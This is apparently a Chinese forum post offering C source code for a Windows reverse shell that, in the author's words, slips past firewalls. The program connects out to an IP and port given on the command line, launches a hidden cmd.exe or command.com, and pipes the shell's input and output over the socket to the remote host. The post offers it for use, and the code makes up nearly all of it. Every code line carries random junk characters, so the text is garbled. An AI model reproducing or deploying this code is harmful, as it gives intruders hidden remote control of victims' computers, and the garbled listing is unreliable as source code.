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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4p6\8eytq.  
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/* ============================== |_\q5?S  
Rebound port in Windows NT oAt{ #v  
By wind,2006/7 {>h,@  
===============================*/ Dzr(Fb  
#include iezY+`x4  
#include ?m bI6fYv  
nd)`G$gL  
#pragma comment(lib,"wsock32.lib") jBr3Ay@<  
JWsOze 8#  
void OutputShell(); dUc?>#TU  
SOCKET sClient; BK 9+fO  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; dF+R q|n{  
undH{w=  
void main(int argc,char **argv) YgLHp/  
{ GswV/V+u  
WSADATA stWsaData; R+<M"LriR&  
int nRet; =<.h.n  
SOCKADDR_IN stSaiClient,stSaiServer; j"Z9}F@  
'>Uip+'  
if(argc != 3) Hdda/?{b  
{ zlhU[J}"1|  
printf("Useage:\n\rRebound DestIP DestPort\n"); }>yQ!3/i  
return; F7&Oc)f"B  
} W61nJ7@  
zwgO|Qg;  
WSAStartup(MAKEWORD(2,2),&stWsaData); - (VX+XHW  
]L;X Aj?  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4"et4Y7  
{(5M)|>  
stSaiClient.sin_family = AF_INET; RD6`b_]o  
stSaiClient.sin_port = htons(0); 83pXj=k<  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); F3=iyiz6  
\~#$o34V  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) t-Zk)*d/0  
{ &eFv~9  
printf("Bind Socket Failed!\n"); *n*po.Xr  
return; {SwvUWOf"  
} CuA A)Bj  
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stSaiServer.sin_family = AF_INET; yIf>8ed]#  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Ey]P >J  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); i{MzQE+_^  
pIgjo>K  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ` 7jdV  
{ 8C4v  
printf("Connect Error!"); m%.7l8vT  
return; zuYz"-(L  
} x}7`Q:k=  
OutputShell(); X+'B*K$  
} /9<62F@zJ"  
WV,j <x9w  
void OutputShell() Ixr#zt$T-G  
{ 7b hJt_`Q  
char szBuff[1024]; Lb0BmR%0  
SECURITY_ATTRIBUTES stSecurityAttributes; F2C v,&'  
OSVERSIONINFO stOsversionInfo; )(DX]Tr`  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;  c.Do b?5  
STARTUPINFO stStartupInfo; K)nn;j=  
char *szShell; I`[s(C>3@  
PROCESS_INFORMATION stProcessInformation; F(;95TB  
unsigned long lBytesRead; 8]A`WDO3  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^T_2 s  
;oJCV"y6$  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^ jT1q_0  
stSecurityAttributes.lpSecurityDescriptor = 0; GU]_Z!3  
stSecurityAttributes.bInheritHandle = TRUE; !A#(bC  
jB0ED0)wX  
,_U3p ,  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); A>Xt 5vk+  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); >OW>^%\!1  
.WpvDDUK3  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 11BfJvs:  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o WcBQ|   
stStartupInfo.wShowWindow = SW_HIDE; ;0Mg\~T~'  
stStartupInfo.hStdInput = hReadPipe; \"=b8x  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; k-|b{QZ8!;  
O_|p{65  
GetVersionEx(&stOsversionInfo); ky{-NrK  
DtOL=m]s  
switch(stOsversionInfo.dwPlatformId) dH+oV`  
{ >@i {8AD  
case 1: 4qmaL+Q  
szShell = "command.com"; )/4U]c{-  
break; wf/DLAC  
default: hG qZB  
szShell = "cmd.exe"; '/Ag3R  
break; ~/1eF7  
} Fa9gr/.F,@  
|<w Z;d  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4<l&cP  
p WLFJH}N  
send(sClient,szMsg,77,0); Ukg iSv+  
while(1) '`/w%OEVC5  
{ U Y')|2y 5  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <"}WpT  
if(lBytesRead) 3`> nQ4zC  
{ _sI\^yZd  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); YfUUbV  
send(sClient,szBuff,lBytesRead,0); :Wmio\  
} [B"CNnA  
else Q\{$&0McF  
{ a!*K)x,"<  
lBytesRead=recv(sClient,szBuff,1024,0); i~;Yrc%AEX  
if(lBytesRead<=0) break; <|c[ #f  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); r^$WX@ t&  
} $ZfoJR]%  
} RMO6kbfP  
%N0cp@Vz  
return; 0Lki (  
}
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